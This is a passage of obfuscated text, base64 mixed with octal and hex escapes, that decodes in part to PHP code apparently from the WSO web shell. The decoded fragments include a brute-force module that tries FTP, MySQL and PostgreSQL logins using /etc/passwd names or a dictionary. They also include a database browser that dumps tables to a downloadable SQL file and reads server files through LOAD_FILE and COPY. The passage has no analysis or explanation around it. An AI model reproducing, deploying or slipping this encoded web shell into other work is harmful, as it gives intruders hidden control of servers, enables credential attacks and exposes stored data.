03\0649\111\103RsaW5lWzBdW\171\x52pXT\163\x4bCQkJCQkJKyskY\130R\060Z\x571wdHM7CgkJCQ\153JCWlm\113CB3c2\x39\103\143\156V0ZUZvcmNl\113EA\153c2VydmVyW\x7a\x42\x64LEAkc2VydmVy\x57zFdLCAk\x62G\x6c\x75ZVswXS\x77gJ\110Rt\x63Ckg\113\x53\102\x37CgkJCQk\x4aC\x51\x6bkc3\x56jY2\x56zcysrOw\x6f\x4a\103QkJC\x51kJ\x5a\127N\x6fb\171AnPGI+Jy\x35odG1sc3BlY2\x6chb\107No\131\x58JzKCR\x73aW5lWz\x42dKS4nPC9iP\x6ao\x6eLmh0\142WxzcGVjaWF\x73Y2hhcnMoJHRtc\103k7CgkJ\103Qk\112CX0KCQkJCQl9C\147kJCQl9C\147k\112fS\x42lbHNl\141WY\x6fJF9QT\x31NU\127yd0eXBlJ10\x67PT0gMikgewoJCQ\x6b\153dG\126tcC\1019IEBmaWxl\x4bCRfUE9TVFs\156ZG\154\x6adCddKT\x73\x4bCQkJaW\x59oIGlzX2F\171c\155F\065KCR0ZW1\x77\113SApCgkJCQlm\x623J\x6cY\x57NoKCR0ZW1wIG\106\172IC\x52s\141W5lK\123\1027CgkJ\103QkJ\112GxpbmUgPSB0cm\154t\x4b\103RsaW\x35lK\124sKCQkJCQkrK\x79Rh\x64HRlbXB\x30\x63\x7asKCQkJC\x51lpZ\151\147gd3NvQnJ1dGVG\1423\112jZS\147kc\x32\x56ydmVy\127\172\102\x64LEA\153c2VydmV\x79Wz\x46\x64LC\x41kX1BPU\x31RbJ2x\166Z\x32l\165J10sIC\x52sa\x575lKSApIHsKC\121kJ\x43\121kJJHN1Y\062Nlc3Mr\x4bz\x73K\103QkJC\121kJZWN\157byAnPGI+Jy5odG\061sc3B\x6cY2lhbGN\x6fYXJzKCRfUE9TV\106snbG\071n\x61W\x34nXSkuJz\x77\x76\x59j46\112y5odG1\x73\x633B\154Y2\x6chbGNoY\130JzKCRsaW5lK\x53\064nPGJyPi\143\067Cgk\112\103\x51kJfQoJCQ\153JfQoJCX\060KCQllY\x32\150vICI8c3B\150bj5B\x64HRlbXB0\143zo8L3NwYW4+ICRh\144H\x52lbXB0\x63y\1018\x633\x42hbj5Td\x57Nj\x5aXNzO\152wvc\063Bhbj4gJHN1Y2Nlc3M8L2R\160dj4\070\x59\156I+I\x6asKC\1300KCWV\x6aaG8gJzxoMT5C\x63nV\x30ZWZvcmNlPC9oM\12448ZGl\062IGNsYXNzPWNvbnRlbnQ+PHRhYmxlPjxmb3JtIG1ldGhvZD1wb3N0Pjx0cj48d\x47Q+PHNwYW\064+V\110lw\x5a\124wvc3Bhb\x6a4\070L3RkP\151cKCQkuJzx0ZD48c\062V\163Z\127N0\x49G5hbWU9\143H\112\x76dG8+PG\x39wd\107lvbi\102\x32YWx\061ZT1m\x64HA+\122lRQPC\x39vcHRpb\0624+PG\x39w\144GlvbiB2YWx1Z\x54\061teXNxbD\065\116\145\x56Nx\142D\x77\166\x623B\060aW\x39uPj\x78vcHRpb24gdmFsdW\x55\071cGdz\143W\167+UG9z\x64Gdy\132VN\x78\x62Dwvb\063B0\x61W9uPjwvc\062VsZ\x57N0Pj\167vdGQ\053PC90cj48dH\x49+P\x48Rk\120i\143KCQk\165Jzxp\142nB1d\x43B\x30eXBl\x50Wh\x70ZGRlbiBuYW1lPWMgdmFsdW\x559\111ic\x75\x61HRtbHNwZW\116\160YWxjaGFyc\171g\153R0xPQ\153\106MU1s\x6eY3dkJ1\x30p\x4ciciPicK\x43QkuJzx\x70bn\1021dCB0eXBl\120Wh\x70ZGRlbiBuYW1lPWEgdmFsdWU9Iic\165a\110RtbHNwZWNpY\127xjaGFycyg\153X1\102PU\x31RbJ\062EnXSkuJyI+J\167oJCS\x34\x6e\120Gl\x75cHV0IHR5\143GU9\141\107lkZGVuI\1075\x68b\x57\125\071Y2\150hcnNldCB2YWx1ZT0iJ\171\065odG1s\143\x33Bl\131\x32lhbGNoYXJ\172KCR\x66UE9\124\126F\x73nY2h\x68cnNldCddKS4nIj4nCgkJLi\1438c3Bhbj5TZXJ2ZXI6cG\x39y\x64Dwv\x633Bhb\1524\070L3\122kP\151cK\103QkuJzx0Z\10448\x61W\065wdXQgdHl\167ZT1\x30ZXh0\111G5hbWU9c2V\x79dmVyIHZh\x62HVlPSIxMj\143u\115\x43\064wL\x6aEiPjwvdGQ+\120\10390cj4nC\147k\112\x4cic\x38d\x48I+PHRkPj\170zc\107FuPkJyd\130RlIHR5cGU8L\063Nw\x59W4+\x50C90ZD\064\156C\x67\x6bJLic8dGQ+PGx\150YmVs\x50jxpb\x6e\x421dCB0eX\102l\x50XJh\132\x47lvIG\x35h\x62WU9\x64\x48\154wZSB2YWx1ZT\060iMS\111\147Y2hlY2tl\132\1044gL2V\060Yy9wYXN\172d2Q\x38L2xhYm\x56s\x50j\x77vd\107Q+\x50\x439\x30cj4nCgk\x4aLic8dHI+\x50HRkPjwv\x64GQ+P\110RkPjxsYWJlbC\102z\144HlsZT\060icG\106kZGluZy1sZ\x57\1320OjE1\143Hgi\120jx\x70bn\x421\144CB0eXBlPW\116oZWN\162Ym94IG\065hbWU9c\155V2ZXJ\x7aZSB2YWx1\x5aT0xIG\x4eoZWNrZWQ\053I\x48Jld\155Vy\1432\125gK\107x\x76\x5a2lu\111C0+IG5p\13229sKTwvbG\106i\132Ww+\x50C\0710\132D\x348L3RyPicKCQkuJz\x780c\x6a48dG\121+P\103\0710Z\1044\x38\x64G\x51+\120\x47xhYm\126sPjxpbn\x421\x64CB0eX\x42lPX\x4a\x68Z\107lv\x49G5hbW\x559dHlwZSB\x32Y\127x1\x5aT0iMi\111+IERpY3\122pb25hcnk8L2xhYmVsPjwvdG\x51+PC90c\1524\x6eCg\x6bJ\114ic8d\x48\x49+\120HRk\120jwvd\x47Q+P\x48RkP\x6ax0YWJ\163ZSBz\x64\110ls\x5aT\060icGF\x6bZG\x6cuZ\171\061\x73ZWZ0\x4fjE1\143HgiPjx0\x63j4\070dG\121+PHNwY\1274+TG9naW48L3NwY\x574+PC9\x30Z\1044nCgk\x4a\114\151c\x38dGQ\053PGlucHV\x30IH\122\x35\x63G\x559dGV4d\103BuY\x57\061lPWxvZ2luI\x48ZhbHVlP\123Jyb290\x49\15248L3RkPjwvdHI+Jwo\112CS4nPH\x52yPjx0\132D\0648\1433Bhbj5EaWN0a\x579uYXJ5P\x439zc\x47FuPjwv\144\x47Q+JwoJCS\x34nPHRkPjx\x70bnB1\x64CB0\145\130\x42\154PXR\x6ceHQgbm\106tZT1kaWN0IHZhbHV\x6c\x50S\x49nLmh0bWx\x7a\x63GVja\x57F\163Y2hhcnM\157\112EdMT\x30JBTFNbJ\x32\116\063ZCd\x64KS4ncGFz\x633dk\114mRp\131yI+\120C90Z\x44\x348L\063RyP\x6awvd\x47F\151b\x47U\x2bJwoJCS4nPC90ZD48L3Ry\120\152x0cj4\x38\144GQ+PC90ZD\x348\144GQ+PGlucHV0IHR5c\x47U\071c3V\151b\127l0IHZh\142H\x56lPSI+Pi\x49+P\103\x390Z\x44\0648L3Ry\x50jwvZm\x39ybT48L3RhYm\170lPi\1437CgllY\062hvI\103c8\1142Rpdj48Yn\x49+JzsK\x43Xdzb0Zvb3Rlc\151g\160Owp9C\147pmdW5jd\x47lvbiBh\x593Rpb25T\143\x57w\157KSB7Cglj\x62GF\172\x63yBEYkNsYXN\172I\110\163KCQ\x6c2YXIg\x4aHR\065\143GU\067\103gk\112dmF\x79ICRsaW\065rOwoJ\103XZhciAkc\x6dVzOwoJ\x43WZ1\x62\155\116\060aW9u\111ERi\x512xhc3M\x6fJ\x48R5cGUp\103Xs\113CQk\112\x4aHRo\x61XMt\x50n\1225cGUgP\123\x41kdH\x6cwZ\x54sKCQ\x6c9CgkJZnVu\x593Rp\x622\x34g\x5929ubmVjdCgk\141G9z\144C\167gJHVzZ\x58\111s\111CRwYXNzL\103\101\x6b\x5a\x47J\165\131W1lKX\x73KCQ\x6bJc3\x64pdGNoK\x43\1220aGl\x7aLT50eXBlKQl\x37CgkJCQl\152Y\x58Nl\x49CdteXNxbCc6C\x67kJCQkJaW\x59oICR\060aGl\172L\x545saW5\x72\x49D0\147QG1\x35\x633FsX2Nvb\155\065l\1313Qo\112G\150vc3\121\x73JHVz\132XIsJHBhc3Ms\x64H\x4a1\x5aS\x6bgK\123\x42yZXR1cm4g\144H\x4a1\132\x54sKCQkJC\x51\154icm\x56hazs\113CQkJCWN\x68c\x32UgJ\x33Bnc3FsJzoKCQkJ\x43Qkka\107\x39zd\x43\x419IGV4cGx\166ZGUoJzonLCAkaG9zdCk\067\103gkJCQkJa\x57YoISR\x6f\x623N0\x57zF\x64\x4bSAkaG9\172dFs\x78\130T01NDMyOwo\112C\121k\112CWlm\x4bCA\x6bdGhpc\x790+\x62GluayA9\x49EBw\x5a\x319jb\0625uZWN\060KC\x4aob3N0PX\163\153aG9zdF\163\x77XX0gc\1079ydD17JGhvc3RbMV\x319I\x48V\x7aZ\130I9JHVzZXIgcG\106zc3dv\x63mQ\071J\110Bh\x63\x33M\x67ZGJuYW\x31lPSRk\x59\x6d\x35\x68bW\x55iK\123Ap\x49H\112ldHVy\142iB\060\x63nVlOw\x6fJCQ\x6bJCW\x4ayZWFrOwoJ\x43Q\1549CgkJCXJldHVybiBmYWxzZTsKC\121l\x39C\147kJZn\x56u\x59\063R\x70\14224gc2\126\x73ZWN0ZG\111oJGRiKS\x427\x43gkJCXN3\x61\130RjaCgkdGhpcy0+dHlwZSkJewoJCQkJY\062\x46zZSA\x6ebX\154\172\143W\x77nOgoJCQkJCWl\155\x49ChAbXlzcWxfc2VsZWN\060\1302RiKCRkYik\160cmV0\x64\130Ju\x49HR\x79dW\1257Cgk\x4a\x43Q\x6bJYnJlY\x57s7CgkJCX0\x4bCQ\153JcmV0\x64XJuIGZhbH\116\154OwoJ\103\1300KCQ\154md\x575jd\x47lvbiBxdWVye\x53gkc3RyKSB\x37\x43gkJ\103\130N3a\130RjaC\147k\x64\x47hpcy0+dH\154wZS\x6bgewoJCQk\x4aY2F\x7aZS\x41\x6e\142XlzcWwnOgoJCQkJCXJ\154dHVyb\151\x41kd\x47hpcy0\x2bcmVz\x49D0gQG15c3\x46\x73X\063F1\132XJ5KC\x52zdH\111\x70OwoJCQ\153JCWJyZ\x57Fr\x4f\x77oJCQkJY2FzZ\x53AncGdzc\127wnO\x67oJC\x51kJCX\x4ald\110Vy\x62i\101kdG\x68pcy0+\x63\155Vz\x49D0gQHBnX3\1061Z\130J5KCR0aG\x6cz\x4cT5saW5rLCRzdHIpOw\157J\103QkJCWJyZWFrOwo\112\103\121l9C\x67\153J\x43XJldHV\x79\x62iBmYWxz\132\124sK\x43Q\1549CgkJ\x5a\156V\x75Y3Rp\14224\x67ZmV0Y2goK\123B7\x43g\x6bJ\x43SRyZ\x58MgPSB\155dW5\x6aX251bV9h\x63mdzKCk\057ZnV\x75Y19nZX\x52fYX\x4anKD\x41pOiR0aGlzLT5\x79\132XM7\103\147kJ\x43XN3aXRja\x43\147k\144Ghpcy0+\144Hlw\x5aSkJewoJCQkJY\062F\x7aZSAnbXl\x7acWw\x6eOgoJCQkJCXJld\110V\x79\x62\151\x42AbX\x6czcW\170fZ\155V0Y2hfYXNz\1422MoJHJ\154\143yk\x37\x43gk\112CQk\x4aYnJ\154Y\127s7CgkJCQljYX\x4elIC\144wZ\x33Nx\x62Cc\066CgkJC\x51kJc\155V\060dXJuIE\x42wZ19mZXRj\141F9hc\x33NvYygkc\155\126zK\124\163\113\x43QkJ\103QlicmV\x68a\172s\113\x43\121\x6bJ\146\121oJCQly\x5aXR1c\1554g\132mFsc2\x557CgkJf\x51oJCWZ\061bmN0aW9uIGxpc3REYnMo\x4bSB7CgkJCXN3aXR\152aCgk\144G\150pc\1710+d\110lw\132SkJ\145w\x6fJCQ\153JY2FzZ\123AnbXlz\x63WwnOg\x6fgIC\101\147\x49CAgICAgIC\101gICA\147ICAgICAgICByZXR1cm4gJH\122o\141X\x4dt\120nF\061Z\130J5K\103JT\123E9\x58IGR\x68dG\106iYXNlcyI\x70\x4fwoJC\x51kJY\156\112lYW\x737Cg\x6bJC\x51ljY\x58NlICdwZ3Nxb\103c6CgkJCQk\x4acmV0\x64XJ\165IC\x520a\x47lz\114T5yZX\115\x67P\123Akd\x47h\160cy0+c\130\126lcnko\x49lNF\x54EVDVCB\153\x59\x58RuY\127\061lIE\x5aST\0600g\x63G\x64fZ\107\x460YWJhc2UgV0h\x46Uk\125gZ\107F0aXN0ZW\061wbGF0\x5aSE9J3QnI\x69\x6b7CgkJ\103Q\154icmVhazs\x4b\103Q\x6bJfQ\157JCQly\x5a\130R1c\x6d4gZ\155Fsc\062U7CgkJfQoJCWZ1bmN0a\x579u\x49\107xp\x633RUY\127JsZXMoKS\1027\x43gk\112C\130N3aX\x52jaCgkd\x47hpcy0\053dHlwZSkJe\x77o\x4aCQ\x6b\x4aY2Fz\132SAnb\130lzcW\x77nOgoJCQk\112CX\x4al\x64HV\x79biAkdGhp\x63y0+c\155VzID0gJHRoa\x58\x4d\164PnF\x31ZXJ5KCdTSE9\130I\106RBQkxF\x55ycpOw\x6fJC\x51k\x4aYnJlYW\x737Cg\x6bJCQl\152YXNl\111CdwZ3NxbCc6CgkJCQ\x6bJ\x63mV0dXJuICR0aGlzL\x54\x35yZXM\x67PSAkdGhp\x63y0+cXVl\x63n\153oInN\x6cbGV\152dCB0YW\112\x73ZV9uYW1\x6cIGZyb20gaW\x35mb\063JtY\x58Rpb2\065fc2\116\x6f\132\1271hLnR\150Ymxl\143yB\x33aGVyZ\x53B0YWJ\x73Z\x569z\x592hlbWE\147IT\x30gJ\x32l\165Zm9ybW\1060aW9uX3NjaGVt\x59ScgQU5E\x49\x48\122hYmxlX3\116jaG\126\164YSAhPSA\156c\x47dfY2F\060YWx\166Zy\x63iK\124sKCQk\x4aCWJy\x5a\127FrOw\x6fJC\121l9Cg\153JCXJ\x6cdH\126\x79b\151BmYWxz\x5aTs\113\103\x51l9CgkJZ\156\126uY3Rpb2\064gZXJyb3IoKSB\067CgkJ\x43\130N3aXRjaCgkd\x47hpcy0+dHlwZS\x6bJ\145woJC\121kJY2FzZSAnbX\154\x7acWwnOgoJCQkJ\x43XJldHVy\x62i\x42AbXlz\143W\x78fZXJyb3Io\x4bTsKCQk\x4aCWJy\x5a\x57FrOw\x6fJCQkJY2FzZSAncGd\x7ac\x57wnOg\x6fJ\x43QkJ\x43XJldHVybiBAcGdfbGF\172dF9lcn\x4a\166ci\147pOwoJCQk\112YnJlY\x57\1637CgkJC\x580KCQkJc\155V0\144\130JuI\107ZhbH\x4elOwoJCX0KCQ\x6cmd\x575jd\107lvb\x69BzZXRDaGFyc\x32V\x30KCRzdHIpIHsKCQ\153\x4ac\063dpdGNoKC\1220a\x47l\172LT50eXBlKQl7C\x67kJCQljY\x58\x4elICdteX\x4exbCc6Cgk\x4aCQkJaWYoZnVuY3Rpb2\065fZXh\160\1433RzK\x43dteX\116x\x62F\x39zZX\122fY2hhcn\x4eld\103cpKQo\112CQkJ\103QlyZXR\x31cm4gQ\x4715c3FsX3N\154dF9jaG\x46yc2\x560K\103RzdH\x49sICR\x30aGlzLT5saW5r\113TsKC\x51kJ\103Ql\x6cbHNlCg\x6b\x4aCQkJ\x43SR0\x61GlzLT5xdW\x56yeSgnU0VUIENIQ\126JTR\126Qg\x4ay4kc3Ry\113Ts\x4bC\121kJCQ\x6cic\155\x56ha\x7as\113CQkJCWNh\1432UgJ3Bnc3FsJzoKCQkJ\x43Qly\132XR1cm4\147QHBnX3NldF9jbGllbn\122fZW5jb\x32\122pbm\x63oJ\110Roa\x58MtPm\170pbmssI\x43R\x7adHIpO\x77oJ\103\121k\x4aC\x57JyZW\x46rOw\x6fJCQl9Cg\x6bJCXJ\x6cdHVybiBmYWx\x7aZTsKC\121l9\x43\x67kJZnVuY3Rpb\x324g\x62G9hZEZpb\107UoJH\1160cikgewo\x4aC\x51lzd2l0Y2goJH\122o\141XMtP\156R\065c\107UpCXsK\103\121\153JCWNh\143\x32U\x67J215c3FsJzoKCQkJ\x43\x51l\x79ZXR1cm4gJHRoa\130\115tPmZ\154d\x47NoKCR0aGl\x7aLT5xdWVyeSgiU\x30V\x4dRU\116\125IExPQURf\x52klM\122Sg\x6e\x49\151\065h\132G\x52zbG\106\x7aaGVz\113CR\x7adH\111pLiInKS\102\x68\143y\x42maWxlIi\153pOw\157J\103Q\x6bJY\156JlYW\x737C\x67k\x4aCQl\152\131\x58NlICdwZ3N\x78bCc6Cg\x6bJ\103QkJJH\x52oa\x58M\164\120nF1\x5aXJ5KCJDU\153VBVEUgVEFCTEU\x67d3NvMih\x6daWxlI\x48RleH\121pO0N\120U\106kgd3NvM\151BGUk9NICciLmFkZHNsY\130\116o\x5aXM\157\112H\x4e0\143ikuIic7c2\126s\x5aWN0IG\132pbGUg\x5anJvbSB\063c28yOy\111pOw\157JCQkJCSRyPW\106yc\x6dF5KC\x6b7\x43\x67kJ\103\121k\x4ad2hpbGUoJGk\071JHRoaXMtP\x6dZ\154\x64GNoKCkpC\147kJCQkJCSRyW\061\060gPS\x41k\x61\x56snZmlsZSddOw\157JCQkJCSR0aGl\x7aL\x545\170\x64WVyeSgnZ\x48JvcC\1020Y\x57J\163ZSB3\1432\x38yJyk7C\147k\x4aCQkJcm\1260\144XJuIGFycm\1065KCdmaWx\154Jz0+a\1271wbG9\x6bZS\x67iX\x474iLCR\171KS\x6b7\x43gkJ\x43Q\x6c\151cmVhazsKCQ\x6b\x4afQoJCQl\171ZXR1cm4gZmFsc\062U\x37\103gkJfQ\157JCW\1321b\155\1160\141W9uIGR1bXAoJH\122hY\x6dxl\x4cCAk\x5anAgPSBmYW\170z\x5aSkgewoJCQl\x7ad\x32l0Y2g\x6fJHRoaXMtPnR5cGU\160CXsKCQkJCWNhc2U\147J215\1433FsJzo\x4b\x43Qk\x4aCQk\x6b\x63m\126zI\1040gJ\x48\122oaXMtPnF1Z\130J5KCdTSE9XIENSRUF\125RSBUQ\x55JMR\x53BgJy4\153d\107Fi\142G\x55uJ2AnKTsKCQkJCQkkY3JlY\x58RlID0g\142\130lzcWxf\x5amV0Y2\x68fYXJyYXkoJ\110\112lcyk7CgkJ\103Q\153JJH\x4exbCA9IC\122j\x63mVhd\x47V\142MV0uIjtc\142i\111\067CiAgICAgICAgICAgI\103A\x67\111CAgICA\147aWYoJGZwK\123Bmd3J\x70dGUo\112GZ\x77\x4cCAk\x63\x33\x46s\x4bTs\x67ZW\170zZSBlY2hv\x4bCRzcW\x77pOw\157JC\x51kJ\x43SR0a\107lz\114T5\x78\x64WVyeSg\156U0\126\x4dRUNUICogRlJPTS\102\x67Jy4\x6bdGFibG\125u\1122An\113\124\x73KICAgICAgICAgI\x43AgICA\x67\111CAg\111CA\153\x61SA\x39\x49DA\x37C\x69A\147I\x43AgICAgICAgICAg\x49CAgIC\101gJ\x47hlYWQg\120SB0c\156VlOwoJCQkJC\x58doaWxlKCRp\144\x47V\164\x49D0gJHRo\141XMtPmZldGNo\x4b\x43kpI\x48sK\111\x43AgI\103AgICAgICAgIC\101g\111\103\x41gICA\147ICAgJHNx\x62CA9ICcnOwogICAgICA\x67ICAgICAgIC\x41g\x49CA\x67\x49CAgIC\x42pZig\153aSAlID\x45wM\x44A\x67PT0gM\x43k\x67\145w\x6fgICA\x67\x49CAgICAg\x49CAgICAgIC\101g\x49CAgICA\147ICAgJG\150\x6cYWQgPSB0cnVlOwo\x67ICAgIC\101g\111CAgI\x43AgICAgIC\x41gIC\101gICA\147ICAgJ\x48N\x78\x62CA9I\x43I7X\1075c\x62iI7CiAgI\103Ag\x49\x43AgICAgICAgICA\x67ICAgICAg\x49H\060KCgkJCQkJ\x43SRjb2x\x31bW\065zID0gYXJ\x79YXk\157\113TsKCQkJCQk\112Zm9\171Z\x57Fja\x43gkaXRlbSBhcyAkaz\060\x2b\x4aHYpI\110sKIC\101gICAgI\103AgI\x43Ag\111C\x41gIC\x41g\111\103\x41g\111CA\147IC\x41g\111G\x6cmKC\122\062\111D09\x50S\x42\x75dWxsKQogICAgICA\x67ICA\147IC\x41gICAg\x49CAgICAgICAgI\103AgICAgIC\122pdGVtWyRr\130\x53\1019ICJ\x4fVUxMIjsKICAgI\103Ag\111CAgICAg\x49CAgI\103A\x67ICAgICAgIC\x41\x67IG\126sc2VpZi\150pc19pbnQoJ\x48YpKQog\x49C\x41gICAgICAgICAgI\103\101g\x49C\x41gICAgIC\101g\x49\x43AgICA\x67ICRpdGVtWy\122rXSA\x39ICR\062\117\167o\147ICAg\x49CAgI\103AgI\103AgI\103Ag\x49C\x41gI\x43\101gI\103\101g\x49C\101gZWxzZQ\157gICAgICAgICAg\x49\103AgICAg\x49CAgICAgIC\101gI\103A\147ICAg\111\103\x52p\144\107\x56tW\x79RrXSA9ICI\x6e\x49i\x35A\142Xl\172c\x57xfc\155VhbF9l\1432\x4ehcGVf\x633RyaW5\x6eK\103R\062\113S4iJyI\x37Cg\153JCQ\153J\103QkkY29\x73dW1uc1td\x49D0\147ImAiLi\122rLiJgIjsKCQkJCQkJfQog\111CAgI\x43\101gICA\147I\x43AgI\x43\101gI\x43\101gICA\147I\x43BpZ\151gkaGVh\132Ck\147ew\x6f\147ICAg\x49CA\x67ICAgICAg\111CAgICAgICAgICAgICA\147JHNxbCAuPSAnSU5TR\x56J\125\x49ElOV\1058gYC\143uJ\x48RhYmxlLid\x67IC\147nLmltcGxvZGUoI\x69wgIiwg\x4a\107NvbHVtbnMpLiIp\111\x46ZBTFVFUy\x42cblx0KCI\x75aW\x31wbG9\153ZSg\151LC\101iLCAka\130R\154\x62SkuJyknOwogIC\101gICAgI\103\x41gICAgI\x43AgI\103\x41\147IC\101gICA\x67ICAgJ\x47hl\131\x57QgPSBmYWxz\x5aTsKICAg\111CAgI\x43\x41gIC\x41gICAgICAgICAg\111\x43AgfSBlbHNlCiA\x67IC\x41gICAgICAg\111CAgICAg\x49\x43AgICAg\111C\101gICAk\1433F\x73\x49C49I\103\x4acblx0LCgiL\x6dlt\x63Gxv\x5aGUo\x49iwg\111iwgJGl0ZW0pLicpJzs\113ICAgICAg\111CAgICAgIC\x41gI\103AgICAgICA\x67aWYoJG\x5awKS\x42m\1443J\x70dGUoJG\x5a\167LC\101kc3\x46sKT\x73gZWxzZSBlY2\150vKCRzcWwp\117wogICAg\x49\x43AgI\103\x41g\x49CAgICAgI\x43AgICAgI\103A\x6b\141Ss\x72OwoJCQk\x4aCX0KICAgICA\x67IC\x41gIC\101gICAgICAg\111C\102pZig\x68J\107hl\131WQp\103iAgICAg\x49CA\147IC\x41gIC\x41\x67ICA\147ICAg\x49CAgIGlmKC\x52m\143Ck\147Zn\144ya\130\x52\154KCRmcCw\x67Ij\164c\x62\154xuIik\067IGVsc2\125\147ZWNo\x62y\x67iO1\x78\x75\x58G4\x69K\124sK\x43Qk\x4aCWJyZ\x57Fr\x4fwo\x4a\103QkJY\x32F\172ZSAncGdzcWwn\117\147oJCQ\x6bJCS\1220aGlzLT5xdWVyeSg\x6e\1250VMRUNUICo\x67RlJP\124\123An\x4ciR\x30YWJsZSk\067Cg\153JCQ\153Jd2hp\x62GU\x6fJG\x6c0ZW0gPSAkdGhp\143y0+ZmV0Y2goKSkge\x77oJCQkJCQ\x6bkY29s\x64\x571ucyA9\111\107Fyc\155F5K\x43k7Cg\x6bJCQkJCWZvcmVhY2goJ\x47l0ZW0gYXM\147JG\x739PiR2\x4bSB\x37\103\x67kJ\x43Qk\112CQk\x6b\x61XR\154bVs\153a10gP\123A\151JyIuYWRkc\x32xhc\062hlcygkdik\x75IiciOwo\x4aCQ\x6bJCQkJJGNvbH\126\164bnNbXSA9I\103\122rOwoJCQkJC\121l9CiAg\111C\x41\147ICAgICA\x67ICAgI\x43AgICAgICAgICRz\x63WwgPSAnSU5TRVJUIE\x6c\x4f\x56E8gJy4\153dG\x46i\142\x47Uu\x4ayAo\x4ay5pbXBs\x62\x32\122lKCIsI\x43IsICR\152b2x1\x62W5zKS4\x6eKSBWQUxVRV\x4dgKC\x63u\141W1wbG\071kZSgiLCAiLCAk\x61XRlbSkuJyk7J\1714\151XG4\x69OwogICAg\x49C\x41\147IC\x41\147ICAgICAgICA\x67ICAgICBp\132igk\x5anA\x70IGZ3cm\1540ZSgk\132n\101sICRzc\127wpOyBlbH\x4e\154I\107V\152a\1078o\112\110Nx\x62Ck\x37Cg\153JCQ\153JfQo\112CQkJ\x59nJlYWs\067Cg\153\112C\x580KCQk\x4acmV0dXJ\x75I\107Zhb\x48Nl\117w\x6fJCX0KC\13007C\147kkZ\x47IgPSBuZ\x58cgRGJDbGF\x7a\143ygkX\061BPU1R\142J3R\065cGUnXSk\067Cglp\x5aigoQCRf\x55\1059TV\106\x73nc\x44\x49nX\x540\071J2Rvd\0625sb2FkJ\x79kgJi\x59gKEAkX1BP\1251RbJ3A\170J10\150PS\x64z\132\x57xlY3\x51\156\113Skg\x65woJCS\x52kYi0+Y29ub\155Vj\x64Cgk\1301BPU\061\x52bJ3N\x78b\x469ob3N0\1121\x30sI\x43\122fUE9TVFsnc\063FsX2xv\x5a2\x6cuJ1\060sICR\x66UE9TVFs\x6e\1433FsX3B\x68c3M\156\x58\123wgJF9\x51T1NU\127ydzcW\x78fYmFzZSddKTsKCQkkZGItPnNlbGVjdGRiKCRfUE9TV\106snc3FsX2Jhc2UnX\123k\067CiAgI\103AgIC\101gc\x33d\160dGN\157KCRfU\1059TVFsn\x592hhcnNldCddK\123\x42\x37\103iAg\x49\103\x41gICA\147IC\x41gIG\116hc\062Ug\x49ldpb\155Rvd\x33MtM\x54I1\115SI6ICRkYi0+c2V\x30Q2hhcnNldCg\x6e\131\x33AxMjUxJyk7IGJy\x5aWFrOwog\x49CAg\111CAgICAgI\x43BjYXN\154IC\112V\126EYtOCI6\111C\x52\153Y\x69\x30\053c2V0\x512hh\x63n\116\154d\103\x67\156dXR\155OCcpO\x79Bicm\x56\150az\x73K\111CAgICAgI\x43AgICA\x67\x592\x46\x7aZS\101\151S\060\071\x4aOC\x31\x53Ij\157gJGRiLT5z\x5aXRD\141G\x46\171\1432V\060KCd\x72b2\x6b\064c\151cpOy\102\151\x63m\x56h\x61zsKI\103\101gICAgI\103Ag\x49CAg\x59\x32Fz\x5a\x53AiS09J\117C1VIj\157gJGRiL\x545zZX\x52DaGFyc\062\x560KCdr\1422k4dScpO\x79Bicm\x56haz\163K\x49C\x41gICAgIC\101gICA\x67\131\x32FzZSAiY3A\064NjYiOiAkZG\111t\x50nNldE\x4eoYXJz\x5aX\121oJ2NwODY\062Jyk7IGJ\171\132WFrOwogICAgI\x43A\147IH0KI\x43Ag\111CA\x67ICBpZihlbXB0\145SgkX1B\x50U\x31RbJ2\132\160bGUn\130Sk\160IHsKI\103A\147\x49C\101g\x49CAgICA\147\1422Jfc3RhcnQ\157\111m9iX\062d\066aGFuZG\170lciIsIDQ\x77OTYpOwogICA\x67ICAgICAgICB\x6fZWFkZ\130IoIkNvb\x6eRl\x62nQtRGlzc\x479zaXR\160b246IGF\x30dGFjaG1lbnQ7\111GZpbGVuY\127\x31l\120WR1bXAuc\063FsIi\153\x37C\x69A\147ICAgICAgICAgIGh\154\131WRlcigiQ29\x75d\x47VudC1UeX\102\154Oi\x420ZXh0\x4c3B\163YW\154u\x49ik7CiAgICA\x67\x49CAg\111\103\x41gIGZ\x76cmVhY2\x67oJ\1069QT\061N\x55Wyd0YmwnXSB\x68cy\x41kdikK\x43QkJCSRkY\x69\x30\053\132HVtcCg\x6bdi\x6b7CiAg\x49CA\x67IC\x41gIC\x41gIGV4aXQ7CiAgICAg\111CAg\146SBlbHN\x6caW\131oJGZ\x77ID0gQGZv\143GVuKCRfUE9\x54VFs\156\x5amls\x5a\x53ddLCAn\x64ycp\x4b\123B7CiAgICAgIC\101gICA\x67I\107\132vcmVhY2goJ\x469QT\x31\x4eUWy\1440\131mwnXS\102hcyA\153dik\x4bICAgICA\147ICAgICAgICAgICRk\131i0+\132H\126tcC\147kdiwgJG\x5awK\x54\163KICAg\x49CAg\111CA\147ICAgZm\116sb\063NlKC\x52\155cC\x6b7CiAg\x49CAgI\103A\x67ICAg\x49HVuc\x32V0KCRfU\1059TVFsncDInXSk7CiAgICAgI\x43A\147fSBl\x62HN\154C\x69AgICA\147\111\103\x41\147\x49CAgIGRpZS\x67nPHN\152\x63mlwdD5\x68bG\126ydC\x67iRXJyb3IhIENhb\x6cwndCBvc\107VuIGZpbGUi\113\x54t3a\1275kb3cu\x61G\x6c\x7adG\071\x79eS5iYWNr\x4b\1030xKT\x77vc2NyaXB\060Picp\117woJfQo\112d3Nv\123\x47V\x68\132GVyK\103k\x37\103gll\1312\150vICIKP\107gxPlN\x78bCB\x69cm93c2\126y\x50C9oMT48ZGl2IGNs\x59XNz\x50\x57NvbnR\154bnQ+Cjx\x6db3JtIG5h\142WU9J3NmJ\x79BtZ\130Rob2\1219J3Bv\x633QnI\1079uc3V\151\142Wl0PSdmcyh0a\x47lzKTsnP\x6a\x78\x30YW\x4asZSBjZ\127xscG\106kZGluZz0nMic\147Y2Vsb\x48Nw\131WN\x70b\x6d\143\x39JzAnPjx0cj4KPHRk\x50\x6cR5cGU8L3\122\x6bP\152x\060ZD\x35Ib3N\060\120C90ZD\0648dGQ+TG9naW48L3R\x6bPjx0Z\1045QYXNz\x6429\171Z\104\x77vdGQ+PHRkPk\x52h\144\107F\151Y\130NlPC\x390Z\x4448\144\107\121+PC\0710\x5aD48L3\x52yPjx0cj4KPGlucHV0IHR\x35cGU9aGlkZGV\165\x49G5\150bWU9\x59S\1022Y\12